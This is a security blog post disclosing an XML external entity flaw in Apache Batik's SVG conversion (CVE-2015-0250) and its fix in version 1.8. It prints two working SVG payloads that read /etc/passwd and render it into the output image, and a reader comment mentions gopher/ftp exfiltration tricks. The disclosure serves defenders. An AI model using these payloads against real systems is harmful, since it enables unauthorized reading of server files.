XML External Entity (XXE) Injection in Apache Batik Library [CVE-2015-0250]

During one of our latest web application code review projects I came across a vulnerability for which I think it is worth to speak about. It is an injection based attack against XML parsers which uses a rarely required feature called external entity expansion. The XML specification allows XML documents to define entities which reference resources external to the document and parsers typically support this feature by default. If an application parses XML input from untrusted sources and the parsing routine is not properly configured this can be exploited by an attacker with a so called XML external entity (XXE) injection. A successful XXE injection attack could allow an attacker to access the file system, cause a DoS attack or inject script code (e.g. Javascript to perform an XSS attack).

In this particular case the web application offers its clients to upload a scalable vector graphics document (SVG file [1]) and receive the contents of the file as a rasterized JPG or PNG file. Due to the fact that SVG files use XML for its representation the parsing routine is potentially prone to XXE injection attacks. As I digged deeper I found out that a third party library called [i]Apache XMLgraphics Batik[/i] is used for the parsing and the conversion of the svg files, so I implemented a small sample application [2] which uses the SVG to PNG/JPG transcoding classes in the same way the investigated web application does. Now I had to find a payload that would extract data from the targets filesystem so first I tried the following:

<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="" xmlns:xlink="" version="1.1">&xxe;</svg>

As no exception was raised I recognized that everything worked well, but the resulting JPG/PNG file was empty. This happened because my payload indeed lead to the evaluation of the external reference (/etc/passwd) but the result was not returned, so I had to find a way to return the contents of it. Fortunately SVG offers the possibility to place text into images with the tag so my modified payload looked like this:

<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="100px" xmlns="" xmlns:xlink="" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg> which results in a JPG file like this:
This works with all versions of Apache Batik (1.0 – 1.7).

The response disclosure process with Apache was very nice, fast and professional. After two e-mail exchanges they provided a fix (Batik version 1.8) which disables the evaluation of external entities.

The security advisory can be downloaded here [3].

[2] (SHA1: 7fe692922ca150a8aa20b2469ab20f8b8dc85543)


  1. Quick note. The use of side channel ex-filtration is very useful on this specific case. New line are invisible when put in SVG text node. The gopher/ftp trick allow you to list directory and read files with ease.

    I exploited this same vulnerability last year. Good job on reporting it!

Leave a Reply

Your email address will not be published. Required fields are marked *